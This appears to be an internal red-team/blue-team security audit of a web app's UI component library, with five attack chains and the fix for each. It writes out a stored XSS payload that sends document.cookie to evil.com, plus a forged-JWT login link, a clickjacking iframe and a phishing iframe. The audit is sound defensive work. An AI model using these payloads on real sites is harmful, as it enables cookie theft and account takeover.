UI Component Library — Red Team vs Blue Team Security Analysis¶

Generated: 2026-02-25 Scope: Frontend component library attack surfaces + defense inventory Method: Adversarial attack-defend analysis (BMAD Advanced Elicitation)

Executive Summary¶

The Red Team identified 1 Critical, 3 Medium, 2 Low direct vulnerabilities in the component library. The Blue Team revealed 4 Critical, 5 High systemic defense gaps. Combined, they produce 5 exploitable kill chains, with the most severe enabling full account takeover via stored XSS on publicly-accessible pages.

Total P0 fix effort: ~1.25 hours to close the 2 most critical vulnerabilities.

Kill Chains¶

KC1: GenericPage Stored XSS → Full Account Takeover¶

Severity: CRITICAL (CVSS ~9.1) | Affects: ALL public visitors + ALL admins

Attacker (page.create perm)
  → POST /generic-pages { description: "<img src=x onerror=\"fetch('https://evil.com?c='+document.cookie)\">" }
  → Backend: GenericPageService stores RAW HTML (ZERO sanitization — unlike Blog which uses SanitizerFactory)
  → Visitor navigates to /{slug}
  → dynamic-page.jsx: dangerouslySetInnerHTML={{ __html: data?.description }}
  → Script executes, steals JWT from non-httpOnly cookie
  → No CSP blocks the exfiltration fetch
  → Attacker has full account takeover

Red Team proof: GenericPageService.createPage() confirmed to have NO sanitizer call. The description field flows DB → API → dangerouslySetInnerHTML with zero transformation. The admin listing page (pages-page.jsx:503) also renders descriptions unsanitized.

Blue Team confirmation: No CSP headers exist. No DOMPurify installed on frontend. JWT cookie is not httpOnly (document.cookie readable).

Fix (45 min): Add SanitizerFactory("dompurify").sanitize(payload.description) to GenericPageService.createPage() and updatePage() in generic-page.service.ts.

KC2: Social Login Token Forgery¶

Severity: HIGH | Affects: Any user using Google OAuth

Attacker crafts fake JWT with admin claims
  → Sends victim link: /login?token=<forged-jwt>&user=<fake-user-json>
  → login.jsx:276: jwtDecode(token) — decodes WITHOUT signature verification
  → login.jsx:297: setCookie("token", token) — stores forged token
  → Victim is "authenticated" with attacker-controlled claims
  → Redux state populated with fake user data

Red Team proof: jwt-decode library explicitly states it "does NOT verify signatures." The social login callback trusts any JWT from URL query parameters.

Blue Team confirmation: No server-side token verification in the frontend social login callback path. Token passed as URL parameter leaks via Referrer headers, browser history, and server logs.

Fix (2 hrs): Remove client-side JWT handling from social login. Backend should validate OAuth callback and set httpOnly cookie directly via Set-Cookie header.

KC3: Clickjacking — Admin Actions¶

Severity: HIGH | Affects: Admin users

Attacker creates page: <iframe src="https://target-app.com/dashboard/users" style="opacity:0">
  → No X-Frame-Options header → app can be framed
  → Overlay fake UI on top of invisible iframe
  → User clicks "Delete All Users" thinking they're clicking attacker's button

Blue Team finding: Zero security headers. No X-Frame-Options, no frame-ancestors CSP directive.

Fix (15 min): Add X-Frame-Options: DENY and Content-Security-Policy: frame-ancestors 'none' to next.config.mjs headers.

KC4: Blog Preview XSS → Admin Credential Theft¶

Severity: MEDIUM | Affects: Admin users reviewing blog drafts

Attacker with blog.create perm
  → Creates blog with manipulated BlockNote content containing <script>
  → Admin opens blog for review → clicks "Preview"
  → blogs-form.jsx passes watchedContent (raw, pre-sanitization) to BlogPageFrontend
  → blog-page-frontend.jsx: dangerouslySetInnerHTML={{ __html: blog.content }}
  → Script executes in admin's browser session

Red Team proof: Blog preview uses watchedContent (raw editor HTML), NOT the sanitized backend content. Backend sanitizer only runs on save. Preview runs before save.

Fix (30 min): Install isomorphic-dompurify. Sanitize content client-side before passing to preview modal.

KC5: IframeEmbed Phishing in Editor¶

Severity: MEDIUM | Affects: Editor users

Attacker with blog.create perm
  → Embeds iframe: https://evil.com/fake-session-expired
  → No URL allowlist, no sandbox attribute
  → Another editor opens the draft → sees fake "Session Expired" login form inside iframe
  → Enters credentials → sent to attacker
  → Public readers NOT affected (backend strips <iframe> tags)

Red Team proof: getEmbedUrl() returns any unrecognized URL unchanged. No sandbox attribute on any iframe (zero grep matches across entire codebase). Public path is safe because backend sanitizer strips <iframe> tags.

Fix (30 min): Add URL allowlist (YouTube, Vimeo, Dailymotion only) + sandbox="allow-scripts allow-same-origin" to all iframes.

Blue Team: Defense Gap Matrix¶

dangerouslySetInnerHTML Inventory — VERIFIED 2026-04-07¶

Original 9 sites reduced to 4 actual usages. All user-generated HTML now routes through SanitizedHTMLPreview (DOMPurify strict allowlist).

Hardening Plan (Priority Order)¶

Remaining open: 3 items (GenericPageService backend sanitizer, social login token flow, frontend cookie cleanup)

Verification Log¶

Last verified: 2026-04-07 by code audit (all frontend source files inspected)

Verification summary: Frontend sanitization work is comprehensive and follows industry best practices (DOMPurify strict allowlist, ESLint enforcement, sandboxed iframe preview). CSP hardened — unsafe-eval removed, domain allowlists tightened, connect-src and img-src scoped to specific hosts. Nonce-based CSP (unsafe-inline removal) deferred — Next.js 15.3 does not reliably inject nonces into framework inline scripts with static rendering; revisit when Next.js adds stable nonce support. Remaining gaps are primarily backend-dependent (GenericPage sanitizer, social login flow).

Additional Blue Team Findings¶

Authentication Token Security¶

Dependency Risks¶

Generated by BMAD Advanced Elicitation — Red Team vs Blue Team method Applied to: UI Component Library Deep-Dive (docs/deep-dive-ui-component-library.md) Date: 2026-02-25